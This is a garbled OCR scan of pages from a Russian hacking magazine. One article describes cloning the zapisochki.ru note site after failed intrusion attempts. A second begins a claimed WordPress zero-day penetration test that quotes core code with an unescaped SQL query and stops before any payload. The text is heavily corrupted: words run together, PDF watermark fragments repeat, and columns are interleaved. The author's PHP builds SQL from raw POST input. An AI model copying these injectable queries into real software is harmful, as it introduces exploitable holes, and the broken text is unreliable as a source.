Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
11.92 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

РОМАН «SPIRIT» ХОМЕНКО

/HTTP://TUTAMC.COM/

ВОЛШЕБНЫЕ

ЗАПИСОЧКИ

МетодикаполногокопированияСАЙТА

>> взлом

Сейчассталомоднымделатьсайтиназыватьегословом«стартап». Этимзанимаютсявсе, комунелень. Ну, мытожежитьнеможембез своегостартапа. Новедьсамимписать— ненашметод. Лучшевозьмемсайтсоседаиполностью, совсейфункциональностью, скопируем. Апотомвнизусмелоподпишемсясвоимименем.

Как-товечером, перебираяклейкиелисточкинасайтеzapisochki.ru, япоймалсебяна мысли, чтовладелецсервисаможет, втеории, читатьвсе, очемянаписал… Иглавныйвопрос даженевовладельце— ведьмоилюбимые спецслужбытакжемогутэтоделать! Отказыватьсяотсервисаянепланировал, всвязис егокачествомиполезностью, поэтомурешил взломатьсервер, скопироватьвсеисходникии установитьихсебе. Сказано— сделано. Сразу вбойзадоступвступилиразныеприемыпроверкинаинъекции, инклуды, простыепароли ипрочее. Этаидеясгрохотомпровалилась, правда, взаменродиласьновая, котораяпросто немогланереализоваться. Но— прервемся немногоипосмотрим, чтособойпредставляет сайтzapisochki.ru.

ЗАПИСОЧКИ

Сервисонлайн-записочекоченьпрост, и этапростотадьявольскипритягивает. После

заходанасайтвесьэкранбраузерастановится

060

пустым. Еслинажатьналюбомместе, топоявится«клейкийлисточек» — некийквадратик, вкоторомможнописатьтекстизатемего редактировать. Также, вуглуестьмаленький квадратик, нажимаянакоторыйможноменять цветлисточка. Иестькрестик, которымудаляетсязаписочка. Весьинтерфейсвыполненс использованиемAJAX, истраницаприработе неперегружается. Рабочаяповерхность, на которойнаходятсязаписочки, называется«доска» (board) иимеетуникальныйидентификатор, чтоотображаетсявURL. Этуинформацию ярассказал, потомучтобезнеесложнопонять статью. Оптимальнымвариантомбудет, если передпрочтениемследующихабзацевтызайдешьнасайтисамиспробуешьфункционал.

ВОЗРОЖДЕНИЕ СТАРОЙМЕТОДИКИ

Вернемсякрассмотрениюмега-старойме- тодики, котораясейчассновавозрождается. Раньшевсесайтыбылистатическими— со-

стоялиизHTML-файловикартинок. Этодобро отдавалосьбраузеруполностьюдляотображения. Чтобыскопироватьсайтспотрохами, нужнобылолишьзапуститьпрограмму, которая открываетвсессылкинасайтеисохраняетвсе, чтоотдаетсервер. НозатемвмирВебапришла динамика, икопированиесайтасталозадачей чрезвычайнотрудной. Кпримеру, форумссообщениями. Дажееслипонемупройдетсябот исохранитвсестраницы, — этоничегонедаст. Практическивесьфункционалзаброшенв скрипты, которыеостаютсядлянасзакрытыми. Приэтом, тенденциикупрощениюфункционаланенаблюдаетсяи, казалосьбы, скопировать сайтсталоневозможно. НотутпришлаэраВеб 2.0! Однимизееаспектовявляетсяперенос большойчастифункционалассерверного уровнянабраузерный, наJavaScript... — аведь онотдаетсянамвоткрытомвиде! Чембольше системабудетработатьнасторонебраузера, темменьшекоданасервере— тоесть, скрытогоотнаскода. Этотмаленькийучастоккода,

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

OFFLINE BROWSER — ЛУЧШИЙ ДЛЯСОЗДАНИЯФЕЙКОВ

FIREFOX ПЛАГИНTEMPER DATA

которыйможноисамомудописать, — мелочь посравнениюстойчастью, чтомыбезпроблем скопируем. Теорияможетпоказатьсянемного непонятной, нопослепрактикивсевстанетна своиместа.

Итак, вкачествепримерамнойбылвыбран сайтzapisochki.ru. Многофункциональности внемнаходитсянасторонеJavaScript, ана сторонесервералишьвыполняютсянесколькозапросовпосохранению, обновлениюи удалениюклейкихлисточков. Еслипопытаться эмулироватьэтизапросы, томожнополностью скачатьссайтавсеостальное. Правда, сначала нужнопонять, какработаетприложение, какимикомандамиобмениваетсясерверная иклиентскаячасть, какгенерируетсяпервая страницаит.п. Пошаговопройдемсяповсему процессуполногоклонирования.

ИНСТРУМЕНТЫ

Чтобыразобратьсясработойсайта, воспользуемсяFireFox сустановленнымитремя плагинами:

Temper Data (https://addons. mozilla.org/en-US/firefox/ addon/966) для просмотра, перехвата и изменения запросов;

Web Developer (https://addons. mozilla.org/en-US/firefox/ addon/60) для отключения кеша браузера, для просмотра и удаления кукисов;

FireBug (https://addons.mozilla. org/en-US/firefox/addon/1843) äëÿ

отладки JavaScript и анализа запросов.

ТакженеобходимOffline Browser дляскачиваниявсегосайта(триальнаяверсияестьна www.metaproducts.com/mp/Portable_Offline_ Browser.htm илиунаснадиске).

ЭТАПЫКОПИРОВАНИЯ

Копированиесайта«Записочки» состоитсо следующихэтапов:

Анализ и эмуляция идентификации;

Копирование страницы с записочками;

Анализ протокола обмена клиентской части с серверной;

Анализ генерации главной страницы;

Программинг серверной части.

Врезультатемыполучимполностьюрабочий сайтzapisochki.ru усебяналокальномсервере.

АНАЛИЗ ИДЕНТИФИКАЦИИ

Передкопированиемразберемсясидентификациейюзера, ведьукаждогосвоястраницас клейкимилисточками, инужнознать, какому юзерукакиезаписочкиотображать. Перед началоманализая, спомощьюплагинаWeb Developer, удалилвсекукисыдлячистотыэксперимента. ВключивTemper Data, язагрузил zapisochki.ru, — начтосервервернулкодпереадресации302 наzapisochki.ru/много_цифр/, даиещебросилкукисыскаким-тологиноми

паролем. Япопробовалудалитьпришедшие кукисыизагрузилzapisochki.ru/много_цифр/. Дажебезлогинаипароля, чтобыливкукисах, страничканормальноотобразилась. Делаем вывод, чтоидентификацияпроисходитименно поэтихциферкамвURL, алогинипарольтребуютсялишьдлявнутреннихнуждсайта. Теперьможнокопироватьсайтиреализовать идентификацию. Дляэтогоябыстросоздална Денверехостсмногозначительнымназванием«z». Дляэмуляцииглавнойстранички

— набросалскрипт, которыйпризаходенасайт «z» будетпроверятькукисы. Еслиониесть, то, исходяизних, юзербудетпереброшеннату доску, котораяпрописанаунеговкукисах. Такимобразом, есливоригиналевкукисах хранятсялогинипароль, покоторымуже показываютсязаписочки, томынемноговсе упростимибудемхранитьидентификатор доски. Записочкибудутпривязаныкэтому идентификатору. Да, этонесовсемправильносостороныбезопасности, нонамглавное получитьрабочийсайт, адоводкойужеможно заниматьсяпотом.

Итак, мыможемнаписатьмаленькийскрипт, которыйбудетэмулироватьидентификацию, какуказановыше. Этимскриптоммыэмулировалифункциональность, связаннуюс идентификацией. Пораприступитькследующемуэтапу.

OFFLINE EXPLORER

ВРАБОТЕ

Рассмотримкопированиефункциональностисамихлисточков. Перейдемнасайт

XÀÊÅÐ 05 /125/ 09

061

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

взлом

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

FIREFOX ПЛАГИНWEBDEVELOPER ВРЕЖИМЕПРОСМОТРАКУКИСОВ

HTTP://WWW

links

Адреснашего подопытного: zapisochki.ru.

Вседополнения кFireFox: addons.mozilla.org.

062

zapisochki.ru/ много_цифр, создадимнесколькоразных записокипопробуемскопироватьHTML-страницусовсей обвязкой. Конечно, можновсеэтоивручнуюпроделать, — смотреть, какиефайлызагружаютсявместесостраничкой, ипотомихкопироватьпоодному— нолучшевоспользоватьсяинструментомдлясозданияфейков, аименно Offline Browser. ЗапустимегоивкачествеисходногоURL зададимzapisochki.ru/много_цифр. ПаракликовнаNext

— исайтполностьюсохранен. Послеэтоговоспользуемся функциейэкспортаисохранимрезультат. Вкаталогеэкспортапоявиласьпапкасназваниемzapisochki.ru, авней,

впапкеthemes, — всенужныекартинки, скриптыипр. Такжетаместьпапка«много_цифр», авнейодинфайлик сназваниемdefault.htm.

ДалееяскопировалвДенверпапкиthemes и«много_ цифр», аdefault.htm переименовалнаindex.php. Еслизайти

вбраузеренаhttp://z/много_буковок, тоотобразитсястраничкаснашимизакладками, правда, невсепокаработает. Почему-тонедвигаютсязакладки. Сейчасисправим…

FIREBUG VS. OFFLINE EXPLORER

ОткроемнашFireBug иактивируемвесьфункционал, например, нажавнавкладке«Net». Поставимвездегалочки инажмем«Применить». Теперь, когдаперейдемнавкладку «Console», тампишетсячто-тотипа«ошибкасdragdrop».

ТутнужноотлаживатьJavaScript, смотреть, вчемпроблема, ноявоспользовалсядругойметодикой, ионасработала! Я открылскачанныйdefault.htm ивпоискеввел«dragdrop» — курсорпереместилсянастрочку:

<script src="../scriptaculous.js@ load=effects,dragdrop" type="text/javascript"></script>

Сразувглазабросается, чтопослеscriptaculous.js идет «@», хотявтеориидолженбыть«?» (этожеGet-запрос). Понятно, чтотаксделалOffline Browser, чтобыпревратить динамическисайтвстатический, нонамононенужно. Поэтомувозвращаемвсеназадизаменяем«@» на«?», а

файлscriptaculous.js@load=effects,dragdrop переименуемв изначальный— scriptaculous.js. Послеэтогомыувидим, что вовкладеNet вFireBug появилисьдвеошибкиномер404, тоесть, двухфайловнебылообнаружено, аименно:

effects.js

dragdrop.js

Достатьихнепроблема! СмотримвFireBug пути, загружаем ссерверазаписочекисохраняемкостальнымскриптам. Обновимсяиувидим, чтовсеотобразилось, ошибокнет, да иктомуже, всефункциисзаписочкамисталинормально работать. Одинизэтаповвыполнен.

УДАЛЕНИЕЛИШНЕГО

Красоту немного портит «разьехавшийся» дизайн — будем исправлять! Если нажать на «инспектора» в FireBug и навести на наше меню, то увидим, что это все одна таблица. Нам ее не жалко, заходим в исход-

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

FIREFOX ПЛАГИНFIREBUG ВРЕЖИМЕCONSOLE!

MYSQL FRONT — УДОБНЕЙШЕЕ СРЕДСТВОДЛЯРАБОТЫСБАЗОЙ

ник страницы и удаляем все между тегами <table>, да и сами теги также. После обновления наблюдаем идеальный минималистский дизайн.

Нов«Console» FireBug опятьпоявилисьошибки. Наэтотраз— вфайлеsticker.js. Такжетам возлеошибкиуказываетсяномерпроблемной строки. Еслиперейтинанее, апотомудалить строку, топослеобновленияошибкибольшене будет. Воттак, иногдаудалениебываетэффективнеесоздания.

ПРОТОКОЛОБМЕНА

Записочкидвигаются, текстицветменяется, однако, всеэтонесохраняется. Давайразберемсявпротоколеобмена, чтобывбудущем егоэмулировать. Откроемнашизаписочкив FireBug свкладкойConsole. Будемпробовать записочкивдействии. Нажмемнапустомместе

— появляетсяпустаязаписка. Теперьвведем любойтекстивыставимцвет. Видим, чтобраузерпослалзапрос:

Post

board: 700128621751072451716255856 15874

color: 1 id:

text: sometext

x:123.1

y:543.2

Причем, переменнаяboard беретсясначала нашегофайлаdefault.htm, гдеестьстрочка:

var board = '7001286217510724517162 5585615874';

XÀÊÅÐ 05 /125/ 09

Этоважно, ведьпотомданнуюстрочкубудет генерироватьскрипт. Такжевидим, чтоid передаетсяпустым, аврезультатесервер возвращаетчисло. Еслиизменитькакой-то параметрзаписочки(цвет, расположенияили текст), топосылаетсятакойжезапрос, только id становитсянепустым. Изэтогоможно сделатьвывод, что, еслиid пустое, тосервер создаетвбазеновуюзаписьозаписочкеи возвращаетклиентуееидентификатор. В противномслучаеизменяютсявбазепараметрытойзаписочки, идентификаторкоторой передается. Посмотревнаdefault.htm, видим строку:

var saveURL = '../noteboard/save/';

– онаопределяетпутькфайлу, чтообрабатываетсохранение, номыегоизменимна:

var saveURL = '../save.php';

Написаниемэтогофайлазаймемсяпозже. Теперьрассмотримудаление. Еслинажатьна крестик, товFireBug появитсятакойзапрос:

POST /NoteBoard/delete/37094

Видим, чтоприудалениивзапросеуказываетсяid записочки. URL, покоторомубудетотослан запрос, также, какидлясохраненияхранитсяв default.htm:

var deleteURL = '../noteboard/ delete/';

Хотяэтонескольконеудобно, ведьнужно настраивать.htaccess длятакихзапросов. Поэтомуупростималгоритм, изменивURL на:

var deleteURL = '../delete.php?';

Сэтоговременизапросывсегдабудутобращатьсянафайлdelete.php, аid листочка

–приходитькакGET-параметр.

Мы знаем протокол обмена между сервером и клиентом и уже можем написать сценарии save.php и delete.php, но оста-

вим программерскую часть на потом. Ведь у нас осталась еще генерация первой страницы. То есть, когда уже страница загрузилась, дальше всю работу по

прорисовке берет на себя JavaScript. Но первый раз страницу нужно генерировать. А именно — вверху, в переменную board, вписать тот идентификатор, по которому пришел юзер.

ФОРМИРОВАНИЕ ЗАПИСОЧЕК

Еслипосмотретьвконецисходникаdefault. htm, томожноувидетьследующее:

<form id="stickers"> <textarea id="s36734" style="left:61px;top:32px;z- index:1">

текст записочки 1</textarea> <textarea id="s36735" style="left:90px;top:33px;z- index:0">

текст записочки 2</textarea> </form>

Намнужновзятьизбазы«записочки» данные ипотомихвыводитькакtextarea, гдевстиле прописыватьпозициювпараметрыleft иtop, вz-index писатьцвет, авid — идентификатор записочки. Такжемеждутегами<textarea> надо вписатьтекст.

ПРОГРАММИРОВАНИЕ

Теперьмызнаем, какгенерироватьпервую страницу, какобрабатыватьAJAX-запросы отJavaScript иможемначатьпоследнийэтап

— программирование. Вкачествеязыкабыл выбранPHP.

Намтребуетсясделатьчетырефайла: .htaccess, index.php, save.php, delete.php. В.htaccess

пропишемправилаперенаправлениявсех несуществующихкаталоговкindex.php (это нужно, чтобыперехватитьзапросынаадресасо многимициферками).

Файл.htaccess будетследующим:

RewriteEngine on

RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?$1 [L,QSA]

Подумаемнадпроблемойхраненияинформации. СоздадимвMySQL базуданныхсодной

063

064
'color'='$color'
— илизапросдляобновленияужесуществующей:
UPDATE z SET 'board'='$board', 'text'='$text', 'x'='$x', 'y'='$y', 'color'='$color' WHERE 'id'='$id'
'text'='$text', 'x'='$x', 'y'='$y',
INSERT INTO z SET 'board'=’$board’,
Всяинформация,
конечноже, предФайлsave.php оченьпростой. Онлишьдолженуметьприниставленалишь в матьPost-данныеигенерироватьзапроснасозданиеновой ознакомительных записочки:
целях. Ненужно повторятьглупостиза автором:).
warning

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

взлом

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

«ЗАПИСОЧКИ», РАБОТАЮЩИЕУМЕНЯНАСЕРВЕРЕ

DVD

dvd

Надиске— Offline Explorer, всефайлы сzapisochki.ru PHP-скриптыдля эмуляциисерверной стороны.

WARNING

FIREFOX ПЛАГИНFIREBUG ВРЕЖИМЕCONSOLE!

простойтаблицейиследующимиполями, выбранными

Нуаdelete.php будетнесложнее:

исходяизпараметровзаписочки:

 

 

 

 

DELETE FROM z WHERE id='$id' AND

id — integer, для хранения идентификатора за-

 

board='$board'

писочки

 

 

Файлindex.php, какмыужеобсуждали, нужендляпереад-

board — bigint, для хранения доски, в которой

находится записочка

 

ресацииюзерапоегокукисамнанеобходимуюстраничку.

color — tinyint, для хранения цвета

 

Тоесть, онбудет«брать» идентификатордоскиid, кото-

x — float, для хранения x-координаты

 

рыйхранитсявкукисах, ивыбиратьсбазывсесоответс-

y — float, для хранения y-координаты

 

твующиезаписочки, адальшевыводитьтотфайл, чтомы

text — varchar(255), для хранения текста

 

получилиотOffline Browser, ивнеммеждутегами<form>

 

 

помещатьзаписочкивформате, которыймыопределили

 

 

 

выше.

ВСЕУНАШИХНОГ

На создание сайта у автора ушел, как минимум, месяц, а мы его скопировали за час.

И таких сайтов сейчас очень много, так что простор для творчества огромен, главное не лениться. Позволю себе напомнить, что вся информация представлена лишь для ознакомления. Если у тебя вдруг возникнут какие-нибудь вопросы, то мои координаты ты сможешь найти на моем сайте http://tutamc.com.

Всегда с радостью отвечу и помогу. z

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

0DAY

МАГ

/ICQ 884888, HTTP://WAP-CHAT.RU/

WORDPRESS

ИЛИВАГОН

0DAYУЯЗВИМОСТЕЙ

ПРОДОЛЖАЕМ ХАК популярнейшегодвижка

>> взлом

РамкипредыдущейстатьинепозволилимнерассказатьоещенесколькихинтереснейшихнеопубликованныхуязвимостяхибанальныхнедоработкахWordPress. Такчто, сейчастысможешьпрочитать продолжениеpenetration-тестаизвестнейшейблоговойплатформы. Итак, поехали!

СТАТИСТИКА

Дляначалаяхочупривестинекоторыестатис-

1.5.x — 207 блогов (0.6%)

Можно понять, что наиболее популярными и

тическиеданныеизисследования, которое

2.0.x — 1624 блога (4.8%)

представляющими для нас с тобой интерес

былопроведеномнойвсерединеянварясего

2.1.x — 1219 блогов (3.6%)

ветками являются 2.3.x, 2.5.x, 2.6.x, 2.7.x

года.

2.2.x — 2175 блогов (6.4%)

(2.4.x разработчики пропустили по опре-

ИзвыдачигорячолюбимоговсемиГуглабыло

2.3.x — 4366

блогов (13%)

деленным причинам). В то же время в этих

случайнымобразомвзято33534 уникальных

2.5.x — 4343

блога (12.9%)

ветках найдено и опубликовано очень малое

блога, работающихнаWordPress, которые

2.6.x — 8715

блогов (25.9%)

количество уязвимостей (напомню, что

затембылираспарсенывпопыткеопределить

2.7.x — 5986

блогов (17.8%)

последняя sql-инъекция была в паблике в

ихверсию. Вотчтоизэтогополучилось:

Unknown — 4899 блогов (14.6%)

2.2.2 версии).

 

 

 

 

066

XÀÊÅÐ 05 /125/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

slugs) )

 

 

 

 

 

 

 

 

add_post_meta($post_id,

 

 

 

 

 

 

 

 

'_wp_old_slug',

 

 

 

 

 

 

 

 

$_POST['wp-old-slug']);

 

 

 

 

 

 

 

...

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6. И, собственно, зачемвесьэтоткоднамбыл

 

 

 

 

 

 

нужен, ./wp-includes/query.php:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

function wp_old_slug_redirect ()

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

...

 

 

 

 

 

 

 

 

$query = "SELECT post_id FROM

 

 

 

 

 

 

 

 

$wpdb->postmeta, $wpdb->posts WHERE

 

 

 

 

 

 

 

 

ID = post_id AND meta_key = '_wp_old_

 

 

АДМИНКАWORDPRESS 2.7.1

 

 

 

 

slug' AND meta_value='" . $wp_query-

 

 

 

 

 

 

 

 

>query_vars['name'] . "'";

 

Впервойчастистатьияпостаралсяисправить

 

 

 

 

 

 

 

function wp_insert_

 

...

 

 

недоразумение, но, кактыужепонял, этобыли

 

comment($commentdata)

 

 

 

 

 

далеконепоследниеприватныеуязвимости

 

{

 

 

wp_redirect($link, '301');

 

 

вордпресса...

 

...

 

 

// Permanent redirect

 

 

 

ШУТКАЮМОРА

 

if ( $comment_approved == 1)

 

 

exit;

 

 

 

 

wp_update_comment_count

 

 

endif;

 

 

 

 

 

 

 

 

 

 

 

Представь, чтонанужномнамблогепри-

 

($comment_post_ID);

 

}

 

 

сутствуетпостсадресомhttp://lamer/

 

 

 

 

 

